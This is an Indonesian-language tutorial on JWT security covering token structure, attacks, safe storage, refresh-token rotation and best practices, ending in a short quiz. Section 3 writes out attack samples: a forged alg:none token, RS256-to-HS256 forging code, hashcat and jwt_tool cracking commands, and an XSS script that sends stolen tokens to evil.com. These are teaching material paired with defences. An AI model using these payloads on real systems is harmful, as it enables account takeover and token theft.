Keamanan

JWT Security: Best Practices untuk Keamanan Token

Panduan lengkap tentang keamanan JSON Web Token (JWT) β€” mulai dari struktur token, jenis-jenis serangan terhadap JWT, cara penyimpanan yang aman, token rotation, hingga best practices untuk membangun sistem autentikasi yang robust

1. Pengenalan JWT

JSON Web Token (JWT) adalah standar terbuka (RFC 7519) yang mendefinisikan cara kompak dan mandiri untuk mengirimkan informasi antara dua pihak dalam bentuk objek JSON yang ditandatangani secara digital. JWT banyak digunakan dalam autentikasi dan otorisasi pada aplikasi web modern, terutama pada arsitektur RESTful API dan Single Page Application (SPA).

Berbeda dengan session-based authentication yang menyimpan state di server, JWT bersifat stateless β€” semua informasi yang dibutuhkan untuk autentikasi tersimpan di dalam token itu sendiri. Ini membuat JWT sangat cocok untuk arsitektur terdistribusi dan microservices.

Mengapa JWT Populer?

Kelebihan Penjelasan
StatelessTidak perlu menyimpan session di server β€” semua info ada di token
Cross-DomainBisa digunakan lintas domain dan layanan (CORS-friendly)
Self-ContainedToken membawa payload yang cukup untuk autentikasi dan otorisasi
DecentralizedSetiap service bisa memverifikasi token secara mandiri tanpa ke central auth server
Mobile-FriendlyRingan dan mudah dikirim via HTTP header, cocok untuk mobile apps
Standar TerbukaDidukung luas oleh library dan framework di berbagai bahasa pemrograman

JWT vs Session Cookies vs API Keys

Aspek JWT Session Cookie API Key
StateStatelessStateful (server-side)Stateless
SkalabilitasTinggi (no shared state)Butuh shared session storeTinggi
GranularitasBisa bawa payload kustomHanya session IDHanya identifier
RevocationSulit (butuh blocklist)Mudah (hapus session)Bisa (invalidate key)
KeamananPerlu penanganan khususBuilt-in browser protectionSederhana tapi kurang aman
Use CaseAPI, SPA, microservicesTraditional web appService-to-service
Diagram: Alur Autentikasi JWT
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                  JWT AUTHENTICATION FLOW                     β”‚
β”‚                                                              β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                     β”‚
β”‚  β”‚  Client   │──(1)──▢│  Auth Server  β”‚                     β”‚
β”‚  β”‚ (Browser/ β”‚  Login  β”‚              β”‚                     β”‚
β”‚  β”‚  App)     β”‚  creds  β”‚  Verifikasi  β”‚                     β”‚
β”‚  β”‚           │◀──(2)──│  credentials β”‚                     β”‚
β”‚  β”‚           β”‚  JWT    β”‚              β”‚                     β”‚
β”‚  β”‚           β”‚  token  β”‚  Generate    β”‚                     β”‚
β”‚  β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”˜         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                     β”‚
β”‚        β”‚                                                     β”‚
β”‚        β”‚ (3) Kirim JWT di header                            β”‚
β”‚        β”‚ Authorization: Bearer eyJhbG...                     β”‚
β”‚        β–Ό                                                     β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                                           β”‚
β”‚  β”‚  API Server   │──(4)── Verifikasi signature              β”‚
β”‚  β”‚              β”‚         Decode payload                     β”‚
β”‚  β”‚              β”‚         Check expiry                       β”‚
β”‚  β”‚              β”‚         Validate claims                    β”‚
β”‚  β”‚              │──(5)── Return protected resource           β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                           β”‚
β”‚                                                              β”‚
β”‚  Proses tanpa query database β€” server langsung verifikasi   β”‚
β”‚  token secara kriptografis                                  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

2. Struktur Token JWT

JWT terdiri dari tiga bagian yang dipisahkan oleh titik (.): Header, Payload, dan Signature. Setiap bagian di-encode menggunakan Base64URL encoding.

Struktur JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

β”œβ”€β”€β”€ Header β”€β”€β”€β”€β”€β”œβ”€β”€β”€β”€ Payload β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”œβ”€β”€β”€ Signature ───
     Base64URL       Base64URL                              HMAC SHA256

Header

Header mendefinisikan metadata token, termasuk algoritma signing yang digunakan dan tipe token.

Contoh: JWT Header
// Header JWT (decoded dari Base64URL)
{
  "alg": "HS256",    // Algoritma signing: HS256, RS256, ES256, dll
  "typ": "JWT"       // Tipe token
}

// ============================================
// Algoritma Signing yang Didukung
// ============================================

// HMAC (symmetric β€” satu key untuk sign dan verify)
HS256  β†’  HMAC-SHA256  (256-bit)  ← Paling umum
HS384  β†’  HMAC-SHA384  (384-bit)
HS512  β†’  HMAC-SHA512  (512-bit)

// RSA (asymmetric β€” public key untuk verify, private key untuk sign)
RS256  β†’  RSASSA-PKCS1-v1_5 + SHA-256
RS384  β†’  RSASSA-PKCS1-v1_5 + SHA-384
RS512  β†’  RSASSA-PKCS1-v1_5 + SHA-512

// ECDSA (asymmetric β€” lebih cepat dari RSA, key lebih kecil)
ES256  β†’  ECDSA P-256 + SHA-256
ES384  β†’  ECDSA P-384 + SHA-384

// EdDSA (modern β€” menggunakan Ed25519/Ed448)
EdDSA  β†’  Ed25519 atau Ed448

// ⚠️ "alg": "none" β€” TIDAK ADA SIGNATURE (sangat berbahaya!)
{
  "alg": "none",
  "typ": "JWT"
}
// Ini artinya token TIDAK ditandatangani dan BISA dimanipulasi!

Payload (Claims)

Payload berisi claims β€” pernyataan tentang entitas (biasanya user) dan metadata tambahan. Ada tiga jenis claims:

Contoh: JWT Payload
// Payload JWT (decoded dari Base64URL)
{
  // ===== REGISTERED CLAIMS (standar RFC 7519) =====
  "iss": "https://auth.example.com",  // Issuer β€” siapa yang menerbitkan token
  "sub": "user123456",                  // Subject β€” siapa yang dimaksud
  "aud": "https://api.example.com",    // Audience β€” siapa yang dituju
  "exp": 1719432000,                   // Expiration β€” kapan token kedaluwarsa (Unix timestamp)
  "nbf": 1719428400,                   // Not Before β€” token tidak valid sebelum waktu ini
  "iat": 1719428400,                   // Issued At β€” kapan token diterbitkan
  "jti": "unique-token-id-123",        // JWT ID β€” identifier unik untuk token

  // ===== PUBLIC CLAIMS (custom tapi harus terdaftar di IANA) =====
  "name": "John Doe",
  "email": "john@example.com",
  "picture": "https://example.com/photo.jpg",

  // ===== PRIVATE CLAIMS (custom, kesepakatan antar pihak) =====
  "role": "admin",
  "permissions": ["read", "write", "delete"],
  "org_id": "org_abc123",
  "plan": "premium"
}

// ⚠️ PENTING: Payload TIDAK DIENKRIPSI!
// Payload hanya di-encode Base64URL, SIAPAPUN bisa membacanya.
// JANGAN simpan data sensitif di payload (password, API keys, dll.)

Signature

Signature adalah bagian yang menjamin integritas dan autentisitas token. Signature dibuat dengan meng-encode header dan payload, lalu menandatanganinya dengan secret key.

Contoh: Pembuatan Signature
// Proses pembuatan signature HS256:
// signature = HMACSHA256(
//   base64UrlEncode(header) + "." + base64UrlEncode(payload),
//   secret_key
// )

// Dalam kode (Node.js):
const crypto = require('crypto');

const header = Buffer.from(JSON.stringify({alg: 'HS256', typ: 'JWT'})).toString('base64url');
const payload = Buffer.from(JSON.stringify({sub: 'user123', iat: Date.now()})).toString('base64url');
const secret = 'your-256-bit-secret-key-here!';

const signature = crypto.createHmac('sha256', secret)
  .update(`${header}.${payload}`)
  .digest('base64url');

const token = `${header}.${payload}.${signature}`;
// Result: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiw...

// ============================================
// Verifikasi signature:
// ============================================
const [h, p, s] = token.split('.');
const expectedSig = crypto.createHmac('sha256', secret)
  .update(`${h}.${p}`)
  .digest('base64url');

if (s === expectedSig) {
  console.log('Token VALID βœ…');
} else {
  console.log('Token INVALID atau DIMANIPULASI ❌');
}

3. Serangan-Serangan terhadap JWT

Memahami serangan terhadap JWT sangat penting untuk membangun sistem autentikasi yang aman. Berikut adalah serangan-serangan paling umum dan cara mencegahnya.

3.1 Algorithm Confusion Attack (alg:none)

Serangan ini memanfaatkan fakta bahwa beberapa library JWT mempercayai field alg di header tanpa verifikasi. Attacker mengubah alg menjadi "none" dan menghapus signature β€” sehingga token tanpa signature diterima sebagai valid.

Serangan: Algorithm Confusion
# ============================================
# Serangan alg:none
# ============================================

# Token asli (dengan signature):
# Header:  {"alg": "HS256", "typ": "JWT"}
# Payload: {"sub": "user123", "role": "user"}
# Signature: valid_signature_here

# Token yang dimanipulasi attacker:
# Header:  {"alg": "none", "typ": "JWT"}
# Payload: {"sub": "admin", "role": "admin"}  ← diubah!
# Signature: (kosong β€” dihapus)

# Token manipulasi:
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

# Jika server tidak memvalidasi algoritma dengan benar,
# token ini akan diterima! 😱

# ============================================
# Pencegahan:
# ============================================
# 1. JANGAN pernah izinkan alg "none"
# 2. Whitelist algoritma yang diizinkan
# 3. Gunakan library yang terpercaya

# Contoh di jsonwebtoken (Node.js):
const jwt = require('jsonwebtoken');

// ❌ BERBAHAYA β€” mempercayai alg dari token
jwt.verify(token, secretOrPublicKey);

// βœ… AMAN β€” tentukan algoritma yang diizinkan
jwt.verify(token, secretOrPublicKey, {
  algorithms: ['HS256']  // Hanya izinkan HS256
});

3.2 RS256 to HS256 Confusion Attack

Serangan ini terjadi ketika server menggunakan RS256 (asymmetric) tetapi attacker mengubah algoritma ke HS256 (symmetric). Karena pada HS256 key yang sama digunakan untuk sign dan verify, attacker bisa menggunakan public key server sebagai secret key untuk membuat token palsu.

Serangan: RS256 β†’ HS256 Confusion
# ============================================
# Serangan Algorithm Confusion (RS256 β†’ HS256)
# ============================================

# Skenario:
# - Server menggunakan RS256 (asymmetric)
# - Public key server tersedia publik (standar untuk RS256)
# - Server mempercayai field "alg" di token

# Serangan:
# 1. Attacker mendapatkan public key server (pub.pem)
# 2. Mengubah header: {"alg": "HS256"}  ← dari RS256
# 3. Mengubah payload: {"sub": "admin", "role": "admin"}
# 4. Sign menggunakan HMAC dengan public key sebagai secret

# Kode serangan:
const crypto = require('crypto');
const publicKey = fs.readFileSync('pub.pem'); // Public key server

const header = { alg: 'HS256', typ: 'JWT' };
const payload = { sub: 'admin', role: 'admin' };

const h = base64url(JSON.stringify(header));
const p = base64url(JSON.stringify(payload));

// Gunakan public key sebagai HMAC secret!
const signature = crypto.createHmac('sha256', publicKey)
  .update(`${h}.${p}`)
  .digest('base64url');

// Server akan memverifikasi menggunakan HMAC dengan public key
// β†’ Verifikasi BERHASIL! Token palsu diterima! 😱

# ============================================
# Pencegahan:
# ============================================
# 1. SELALU tentukan algoritma yang diizinkan secara eksplisit
# 2. Jangan izinkan perubahan algoritma dari token

// βœ… PENCEGAHAN:
jwt.verify(token, publicKey, {
  algorithms: ['RS256']  // HANYA RS256, tidak boleh HS256
});

3.3 Brute Force Secret Key

Serangan: Brute Force HMAC Secret
# ============================================
# Brute Force JWT Secret Key
# ============================================
# Tool: hashcat, john the ripper

# Hashcat untuk brute force HS256:
# Format hash untuk hashcat: JWT token langsung
hashcat -m 16500 jwt.txt wordlist.txt

# John the Ripper:
john --wordlist=wordlist.txt --format=HMAC-SHA256 jwt.txt

# Tool khusus: jwt_tool
python3 jwt_tool.py eyJhbG... -C -d wordlist.txt

# ============================================
# Pencegahan:
# ============================================
# 1. Gunakan secret key yang SANGAT PANJANG (minimum 256-bit/32 byte)
# 2. Gunakan karakter random yang kuat
# 3. Rotasi secret key secara berkala
# 4. Pertimbangkan RS256 (asymmetric) β€” tidak bisa di-brute force

# Generate secure secret:
openssl rand -base64 32
# Output: xK7mN9pQ2rT5vW8yB3dF6gH0jL4nP7sU1xA4cE9hK2m

# ❌ SECRET LEMAH:
JWT_SECRET = "secret123"
JWT_SECRET = "mysecret"
JWT_SECRET = "password"

# βœ… SECRET KUAT:
JWT_SECRET = "xK7mN9pQ2rT5vW8yB3dF6gH0jL4nP7sU1xA4cE9hK2mQ6tW0zC3fH5kN8p"

3.4 JWT Token Leaked via URL/Referrer

⚠️ Token Leakage Risiko
  • Jangan pernah mengirim JWT di URL query string (?token=eyJ...) β€” token akan terekam di browser history, server logs, dan Referrer header
  • Simpan JWT di Authorization header, bukan di URL
  • Gunakan Referrer-Policy: no-referrer untuk mencegah token bocor ke situs lain
  • Hindari logging JWT di server logs

3.5 Cross-Site Scripting (XSS) JWT Theft

Serangan: XSS β†’ JWT Theft
# ============================================
# XSS untuk mencuri JWT dari localStorage
# ============================================

# Jika attacker berhasil menyuntikkan XSS:
<script>
  // Curi JWT dari localStorage
  const token = localStorage.getItem('jwt_token');
  
  // Kirim ke server attacker
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: JSON.stringify({ token: token }),
    headers: {'Content-Type': 'application/json'}
  });
</script>

# Atau dari sessionStorage:
<script>
  const token = sessionStorage.getItem('jwt_token');
  new Image().src = 'https://evil.com/collect?token=' + token;
</script>

# ============================================
# Pencegahan:
# ============================================
# 1. Gunakan httpOnly cookies (tidak bisa diakses JavaScript)
# 2. Implementasikan CSP untuk mencegah XSS
# 3. Input validation dan output encoding
# 4. Short-lived token + refresh token rotation
# 5. Bind token ke device fingerprint

3.6 Replay Attack

Serangan: Token Replay
# ============================================
# Replay Attack β€” Token yang dicuri digunakan ulang
# ============================================

# Skenario:
# 1. Attacker mendapatkan JWT user (via XSS, MITM, atau packet sniffing)
# 2. Attacker menggunakan token tersebut untuk mengakses API
#    sebagai user yang sah

# Contoh request dengan token curian:
curl -X GET https://api.example.com/user/profile \
  -H "Authorization: Bearer eyJhbG...token_curiandari_user..."

# Response: Data user berhasil diakses oleh attacker! 😱

# ============================================
# Pencegahan:
# ============================================
# 1. Token expiry yang SINGKAT (15 menit untuk access token)
# 2. Token rotation β€” refresh token harus dirotasi
# 3. Token binding β€” hubungkan token dengan IP/fingerprint
# 4. Revoke mechanism β€” blocklist untuk token yang dikompromikan
# 5. Jti (JWT ID) + server-side tracking untuk one-time-use

# Contoh token binding dengan fingerprint:
{
  "sub": "user123",
  "fingerprint": "abc123hash",  // Hash dari User-Agent + IP + device ID
  "exp": 1719432000
}

# Server memverifikasi fingerprint:
if (hash(request.userAgent + request.ip) !== token.fingerprint) {
  return 401;  // Token kemungkinan dicuri
}

4. Penyimpanan Token yang Aman

Di mana Anda menyimpan JWT sangat mempengaruhi keamanan sistem autentikasi. Setiap opsi penyimpanan memiliki trade-off antara keamanan dan kemudahan implementasi.

Perbandingan Metode Penyimpanan

Metode XSS Risk CSRF Risk Rekomendasi
localStorageπŸ”΄ Tinggi🟒 Rendah❌ Tidak direkomendasikan
sessionStorageπŸ”΄ Tinggi🟒 Rendah❌ Tidak direkomendasikan
httpOnly Cookie🟒 Rendah🟑 Sedangβœ… Direkomendasikan
In-memory Variable🟑 Sedang🟒 Rendahβœ… Paling aman (SPA)
Service Worker🟒 Rendah🟒 Rendahβœ… Advanced (PWA)
Contoh: Implementasi Setiap Metode
# ============================================
# 1. localStorage β€” TIDAK DIREKOMENDASIKAN
# ============================================
// ❌ Rentan XSS β€” bisa diakses oleh semua JavaScript di halaman
localStorage.setItem('jwt_token', token);
const token = localStorage.getItem('jwt_token');

// Masalah:
// - Semua script di halaman (termasuk yang disuntikkan XSS) bisa akses
// - Data persist bahkan setelah browser ditutup
// - Tidak ada expiry otomatis

# ============================================
# 2. httpOnly Cookie β€” DIREKOMENDASIKAN
# ============================================
// βœ… Tidak bisa diakses oleh JavaScript
// Server set cookie:
res.cookie('access_token', token, {
  httpOnly: true,      // Tidak bisa diakses JS (anti-XSS)
  secure: true,        // Hanya dikirim via HTTPS
  sameSite: 'Strict',  // Tidak dikirim dalam cross-site request (anti-CSRF)
  maxAge: 15 * 60 * 1000,  // 15 menit
  path: '/',
  domain: '.example.com'
});

// Cookie otomatis dikirim di setiap request ke domain yang sama
// Frontend tidak perlu menambahkan header Authorization manual

// ⚠️ Perlu CSRF protection karena cookie dikirim otomatis
// Tambahkan anti-CSRF token di header untuk setiap request

# ============================================
# 3. In-Memory Storage β€” PALING AMAN untuk SPA
# ============================================
// βœ… Tidak tersimpan di storage manapun
// ❌ Hilang saat page refresh (perlu silent refresh)

class TokenService {
  #accessToken = null;  // Private field
  
  setToken(token) {
    this.#accessToken = token;
  }
  
  getToken() {
    return this.#accessToken;
  }
  
  clearToken() {
    this.#accessToken = null;
  }
  
  isAuthenticated() {
    return this.#accessToken !== null;
  }
}

const tokenService = new TokenService();

// Setelah login:
tokenService.setToken(response.data.accessToken);

// Untuk request API:
axios.interceptors.request.use(config => {
  const token = tokenService.getToken();
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

# ============================================
# 4. Hybrid Approach (Recommended untuk Production)
# ============================================
// Access Token  β†’ In-memory (hilang saat refresh)
// Refresh Token β†’ httpOnly cookie (persist, aman dari XSS)

// Saat page refresh:
// 1. Cek apakah access token masih ada di memory
// 2. Jika tidak β†’ gunakan refresh token (cookie) untuk dapat access token baru
// 3. Simpan access token baru di memory

async function silentRefresh() {
  try {
    const response = await fetch('/auth/refresh', {
      method: 'POST',
      credentials: 'include'  // Kirim httpOnly cookie
    });
    const data = await response.json();
    tokenService.setToken(data.accessToken);
    return true;
  } catch (err) {
    // Refresh token expired/invalid β†’ redirect ke login
    window.location.href = '/login';
    return false;
  }
}

5. Token Rotation dan Refresh Token

Token rotation adalah strategi keamanan di mana refresh token dirotasi setiap kali digunakan. Ini memastikan bahwa jika sebuah refresh token dicuri, token lama akan langsung invalid ketika token baru digunakan.

Access Token vs Refresh Token

Aspek Access Token Refresh Token
TujuanMengakses protected resourcesMendapatkan access token baru
ExpiryPendek (5-15 menit)Panjang (7-30 hari)
StorageIn-memory / Authorization headerhttpOnly Cookie
Dikirim keAPI serverAuth server saja
PayloadBerisi user info, permissionsHanya identifier + expiry
RotationTidak perlu (expired cepat)Setiap kali digunakan
Diagram: Token Rotation Flow
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                  TOKEN ROTATION FLOW                          β”‚
β”‚                                                               β”‚
β”‚  Client                     Auth Server                      β”‚
β”‚    β”‚                            β”‚                             β”‚
β”‚    │──(1) POST /auth/login ───▢│                             β”‚
β”‚    β”‚   {email, password}       β”‚                              β”‚
β”‚    β”‚                           β”‚                              β”‚
β”‚    │◀──(2) Access Token ──────│                              β”‚
β”‚    β”‚    + Refresh Token       β”‚ (simpan di httpOnly cookie)  β”‚
β”‚    β”‚                          β”‚                              β”‚
β”‚    β”‚   ... 5-15 menit kemudian ...                          β”‚
β”‚    β”‚                          β”‚                              β”‚
β”‚    │──(3) GET /api/data ─────▢│                              β”‚
β”‚    β”‚   Authorization: Bearer  β”‚                              β”‚
β”‚    β”‚   [expired token]        β”‚                              β”‚
β”‚    β”‚                          β”‚                              β”‚
β”‚    │◀──(4) 401 Unauthorized ─│                              β”‚
β”‚    β”‚                          β”‚                              β”‚
β”‚    │──(5) POST /auth/refresh─▢│                              β”‚
β”‚    β”‚   Cookie: refresh_token  β”‚                              β”‚
β”‚    β”‚                          β”‚                              β”‚
β”‚    │◀──(6) NEW Access Token ──│                              β”‚
β”‚    β”‚    + NEW Refresh Token   β”‚ (rotasi! token lama invalid) β”‚
β”‚    β”‚                          β”‚                              β”‚
β”‚    │──(7) Retry GET /api/dataβ–Άβ”‚                              β”‚
β”‚    β”‚   Authorization: Bearer  β”‚                              β”‚
β”‚    β”‚   [new valid token]      β”‚                              β”‚
β”‚    β”‚                          β”‚                              β”‚
β”‚    │◀──(8) 200 OK ──────────│                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
Contoh: Implementasi Token Rotation
# ============================================
# Server-side: Refresh Token Rotation
# ============================================

// Database model untuk refresh tokens
// RefreshToken {
//   id, user_id, token_hash, family_id,
//   expires_at, revoked, created_at
// }

const crypto = require('crypto');
const jwt = require('jsonwebtoken');

// Login endpoint
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await verifyCredentials(email, password);
  
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });
  
  // Generate token pair
  const familyId = crypto.randomUUID();
  const tokens = generateTokenPair(user, familyId);
  
  // Simpan refresh token hash di database
  await db.refreshTokens.create({
    user_id: user.id,
    token_hash: hashToken(tokens.refreshToken),
    family_id: familyId,
    expires_at: tokens.refreshExpiresAt,
    revoked: false
  });
  
  // Set refresh token sebagai httpOnly cookie
  res.cookie('refresh_token', tokens.refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
    maxAge: 7 * 24 * 60 * 60 * 1000 // 7 hari
  });
  
  // Return access token
  res.json({ accessToken: tokens.accessToken });
});

// Refresh endpoint
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refresh_token;
  
  if (!refreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }
  
  // Cari token di database
  const storedToken = await db.refreshTokens.findOne({
    token_hash: hashToken(refreshToken)
  });
  
  // DETEKSI TOKEN REUSE β€” indikasi token dicuri!
  if (!storedToken || storedToken.revoked) {
    if (storedToken && storedToken.revoked) {
      // Token sudah di-revoke tapi masih digunakan!
      // Kemungkinan token dicuri β€” REVOKE SELURUH FAMILY
      await db.refreshTokens.updateMany(
        { family_id: storedToken.family_id },
        { revoked: true }
      );
      console.warn(`[SECURITY] Token reuse detected for user ${storedToken.user_id}`);
    }
    return res.status(401).json({ error: 'Invalid refresh token' });
  }
  
  // Verify expiry
  if (new Date() > storedToken.expires_at) {
    return res.status(401).json({ error: 'Refresh token expired' });
  }
  
  // REVOKE token lama
  await db.refreshTokens.update(
    { id: storedToken.id },
    { revoked: true }
  );
  
  // Generate token BARU dengan family yang sama
  const user = await db.users.findById(storedToken.user_id);
  const tokens = generateTokenPair(user, storedToken.family_id);
  
  // Simpan token baru
  await db.refreshTokens.create({
    user_id: user.id,
    token_hash: hashToken(tokens.refreshToken),
    family_id: storedToken.family_id,
    expires_at: tokens.refreshExpiresAt,
    revoked: false
  });
  
  res.cookie('refresh_token', tokens.refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
    maxAge: 7 * 24 * 60 * 60 * 1000
  });
  
  res.json({ accessToken: tokens.accessToken });
});

// Helper functions
function generateTokenPair(user, familyId) {
  const accessToken = jwt.sign(
    { sub: user.id, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn: '15m', algorithm: 'HS256' }
  );
  
  const refreshToken = crypto.randomBytes(40).toString('hex');
  const refreshExpiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);
  
  return { accessToken, refreshToken, refreshExpiresAt };
}

function hashToken(token) {
  return crypto.createHash('sha256').update(token).digest('hex');
}

6. Implementasi JWT yang Aman

Pemilihan Algoritma

Algoritma Tipe Keamanan Kapan Digunakan
HS256SymmetricBaik (jika secret kuat)Single service, same team yang kontrol server dan client
RS256AsymmetricSangat baikMulti-service, third party perlu verifikasi token
ES256AsymmetricSangat baikMobile apps (key kecil), high-performance requirements
EdDSAAsymmetricExcellentModern apps, kinerja tinggi, security terbaik
PS256AsymmetricSangat baikEnterprise, compliance requirements

Kontrol Payload yang Aman

πŸ’‘ Apa yang Boleh dan Tidak Boleh di Payload JWT
  • βœ… Boleh: user ID, role, permissions, tenant ID, token expiry
  • ❌ Tidak boleh: password, API keys, credit card numbers, secrets, PII sensitif
  • ❌ Hindari: Data yang sering berubah (harus invalidate token)
  • βœ… Prinsip: Payload harus minimal β€” hanya info yang dibutuhkan untuk otorisasi

7. Best Practices Lengkap

πŸ’‘ JWT Security Best Practices Checklist
  • βœ… Gunakan algoritma asymmetric (RS256/ES256) untuk production
  • βœ… Whitelist algoritma yang diizinkan β€” jangan percaya field alg di token
  • βœ… Set expiry yang singkat untuk access token (5-15 menit)
  • βœ… Implementasikan refresh token rotation
  • βœ… Simpan access token di memory, refresh token di httpOnly cookie
  • βœ… Selalu validasi iss, aud, exp, dan nbf claims
  • βœ… Gunakan jti (JWT ID) untuk mencegah replay attack
  • βœ… Implementasikan token blocklist untuk logout/revocation
  • βœ… Deteksi refresh token reuse dan revoke seluruh token family
  • βœ… Gunakan HTTPS di semua endpoint
  • βœ… Set SameSite=Strict pada cookies
  • βœ… Implementasikan rate limiting pada auth endpoints
  • βœ… Log semua aktivitas autentikasi untuk audit trail
  • βœ… Lakukan security testing secara berkala

Kesalahan Umum

Kesalahan Risiko Solusi
Menyimpan JWT di localStorageDicuri via XSSGunakan httpOnly cookie atau in-memory
Tidak menentukan algorithms whitelistAlgorithm confusion attackSelalu tentukan algorithms: ['RS256']
Expiry terlalu lama (hari/minggu)Window serangan besar jika token dicuriAccess token 5-15 menit
Menyimpan data sensitif di payloadData bocor karena payload hanya Base64 encodedHanya simpan non-sensitive claims
Tidak melakukan token rotationRefresh token valid selamanya jika dicuriRotasi refresh token setiap penggunaan
Menggunakan secret key lemahBisa di-brute forceMinimum 256-bit random secret
Tidak memvalidasi audience/issuerToken dari issuer lain bisa diterimaSelalu validasi iss dan aud

8. Quiz: Uji Pemahamanmu!

Setelah membaca tutorial di atas, jawablah 5 pertanyaan berikut untuk menguji pemahamanmu tentang JWT Security:

Pertanyaan 1: Bagian mana dari JWT yang TIDAK dienkripsi dan bisa dibaca siapa saja?

a) Header
b) Payload
c) Signature
d) Semua bagian (Header, Payload, dan Signature)

Pertanyaan 2: Metode penyimpanan JWT mana yang paling aman terhadap XSS?

a) localStorage
b) sessionStorage
c) httpOnly Cookie
d) Semua sama amannya

Pertanyaan 3: Apa yang terjadi dalam serangan "alg:none"?

a) Attacker menghapus payload dari token
b) Attacker mengubah algoritma ke "none" sehingga signature tidak diverifikasi
c) Attacker brute force secret key
d) Attacker menambahkan algoritma baru ke header

Pertanyaan 4: Mengapa refresh token harus dirotasi setiap kali digunakan?

a) Untuk mempercepat autentikasi
b) Untuk mengurangi ukuran database
c) Untuk mendeteksi dan mencegah penggunaan token yang dicuri
d) Untuk memenuhi standar HTTP

Pertanyaan 5: Berapa lama expiry yang direkomendasikan untuk access token?

a) 1 detik
b) 5-15 menit
c) 30 hari
d) Tidak pernah expired
πŸ” Zoom
100%
🎨 Tema